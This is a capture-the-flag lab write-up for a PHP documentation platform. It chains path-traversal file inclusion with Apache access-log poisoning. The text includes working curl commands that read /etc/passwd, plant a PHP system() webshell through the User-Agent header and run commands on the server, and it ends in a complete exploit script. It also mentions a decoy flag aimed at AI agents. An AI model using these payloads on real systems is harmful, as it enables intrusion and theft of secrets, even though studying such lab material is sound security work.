DocuNest
DocuNest
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-05-05 | Status: Solved Techniques: apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection
Summary
Task: Collaborative documentation platform with a docs viewer that uses PHP include() with unsanitized file parameter, enabling LFI. Flag is stored as an environment variable and in /root/flag.txt (chmod 600). Solution: Chain LFI with Apache access log poisoning — inject PHP webshell via User-Agent header, then include the poisoned log to achieve RCE and read the FLAG environment variable.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260505_hackadvisor_docunest - Tags: sqlite, rce, lfi, path_traversal, php, apache, include, user_agent_injection, log_poisoning, decoy_flag, alpine_linux, documentation_viewer, mod_php
- Indicators: PHP include() with unsanitized GET parameter for loading documentation files, API endpoint /api/docs/view?file= that loads files by name, Apache access log readable at /var/log/apache2/access.log via LFI, User-Agent header logged verbatim by Apache mod_log_config, mod_php81 loaded meaning included PHP files get executed as code
- Source:
20260505_hackadvisor_docunest.md
Foothold
Vulnerability / Misconfiguration
- Apache_access_log_inclusion
- Environment_variable_exfiltration
- Lfi_to_rce_via_log_poisoning
- Path_traversal_lfi
- User_agent_php_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- apache_access_log_inclusion
- environment_variable_exfiltration
- lfi_to_rce_via_log_poisoning
- path_traversal_lfi
- user_agent_php_injection
- Tags: sqlite, rce, lfi, path_traversal, php, apache, include, user_agent_injection, log_poisoning, decoy_flag, alpine_linux, documentation_viewer, mod_php
Original Writeup
<details><summary>Click to expand original content</summary>Description
DocuNest is a collaborative knowledge base platform built by NestWare Solutions. Teams use it to create, organize, and share technical documentation with features including a rich article editor, categories, tags, comments, search, and a built-in documentation viewer for browsing published guides. Your goal is to find and exploit vulnerabilities in the platform to retrieve the flag stored on the server.
DocuNest is a PHP 8.1 application running on Alpine Linux with Apache/2.4.65 behind an nginx/1.25.5 reverse proxy, using SQLite for data storage. The application provides a Dashboard, Articles, Docs, and Search pages. The Docs page is the primary attack surface — it loads documentation files via a server-side API endpoint that uses PHP's include() function with an unsanitized file parameter.
Credentials: user@test.com / password123
Analysis
Application Features
| Feature | Endpoint | Purpose |
|---|---|---|
| Dashboard | / | Overview with articles, categories, recent activity |
| Articles | /articles | Create, edit, organize technical documentation |
| Docs | /docs | LFI vector — documentation viewer with sidebar listing .md files |
| Search | /search | Full-text search across articles |
| Docs API | GET /api/docs/view?file= | Vulnerable endpoint — loads files via PHP include() |
| |
Tech Stack
- PHP 8.1, Apache/2.4.65 with mod_php81, nginx/1.25.5 reverse proxy, Alpine Linux, SQLite
- DocumentRoot:
/app/public .htaccesswithAllowOverride All— standard rewrite rules routing throughindex.php
Reconnaissance Findings
Documentation viewer behavior:
- The Docs page sidebar lists files:
api-reference.md,deployment.md,faq.md,getting-started.md - Clicking a doc triggers:
fetch('/api/docs/view?file=' + encodeURIComponent(file)) - The
fileparameter is passed directly to PHP'sinclude()without sanitization
Key evidence that include() is used (not file_get_contents()):
- Including PHP files (e.g.,
index.php,seed.php) via LFI returns empty content — the PHP code executes server-side and produces no output, rather than being returned as raw source code - This is the critical prerequisite for log poisoning: any PHP code in included files will be executed
Flag storage (from /app/start.sh):
echo "$FLAG" > /root/flag.txt chmod 600 /root/flag.txt
- Flag exists as environment variable
FLAGand in/root/flag.txt(root-only, chmod 600) - Simple file read won't work — the web server process can't read
/root/flag.txt - RCE is required to either read the env var or escalate privileges
Decoy flag trap:
- Every page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs - Designed to trick automated tools and AI agents into reporting a fake flag
Apache Configuration (from /etc/apache2/httpd.conf)
Key details relevant to the exploit:
LogFormat "%h %l %u %t \"%r\" %>s %b %{Referer}i %{User-Agent}i" combined— User-Agent is loggedCustomLog /var/log/apache2/access.log combined— log path confirmedErrorLog /var/log/apache2/error.logmod_php81loaded — PHP execution within included files
Solution
Step 1: Login and Confirm LFI
# Login and get session cookie TARGET="https://582a4fde-2fae-4347-9a1f-45f6cb32b822.labs.hackadvisor.io" curl -sk -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" -L # Confirm path traversal / LFI curl -sk -b cookies.txt "$TARGET/api/docs/view?file=../../../etc/passwd"
Response confirms Alpine Linux:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
Simple ../ traversal works. No filter bypass needed (double-dot ....// is not required).
Step 2: Verify Apache Log Accessibility
curl -sk -b cookies.txt "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log"
The access log is readable and contains User-Agent strings from all requests. This confirms both prerequisites for log poisoning:
- Log file is readable via LFI
- User-controlled data (User-Agent) is written to the log
Step 3: Poison the Apache Access Log
Inject a PHP webshell into the User-Agent header:
curl -sk -b cookies.txt "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"
Critical detail about quoting: Apache's mod_log_config escapes double quotes in logged header values (" → \"), which would break PHP syntax like $_GET["cmd"]. Using single quotes ($_GET['cmd']) avoids this because Apache does NOT escape single quotes in log entries.
After this request, the access log contains a line like:
172.30.0.3 - - [05/May/2026:14:16:10 +0000] "GET / HTTP/1.1" 200 11976 - <?php system($_GET['cmd']); ?>
Step 4: Trigger RCE via Log Inclusion
Include the poisoned log file while passing a command via the cmd parameter:
curl -sk -b cookies.txt \ "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log&cmd=printenv+FLAG"
When PHP's include() processes the access log:
- It reads the log file as PHP source
- Everything outside
<?php ... ?>tags is output as plain text (the normal log lines) - When it hits the
<?php system($_GET['cmd']); ?>in the User-Agent field, it enters PHP mode system('printenv FLAG')executes, printing the environment variable value
The response contains the flag embedded in the log output:
172.30.0.3 - - [05/May/2026:14:16:10 +0000] "GET / HTTP/1.1" 200 11976 - FLAG{REDACTED}
Complete Exploit (3 commands)
#!/bin/bash TARGET="https://582a4fde-2fae-4347-9a1f-45f6cb32b822.labs.hackadvisor.io" # 1. Login curl -sk -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" -L # 2. Poison Apache access log with PHP webshell in User-Agent curl -sk -b cookies.txt "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>" # 3. Include poisoned log → RCE → read FLAG env var curl -sk -b cookies.txt \ "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log&cmd=printenv+FLAG"
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR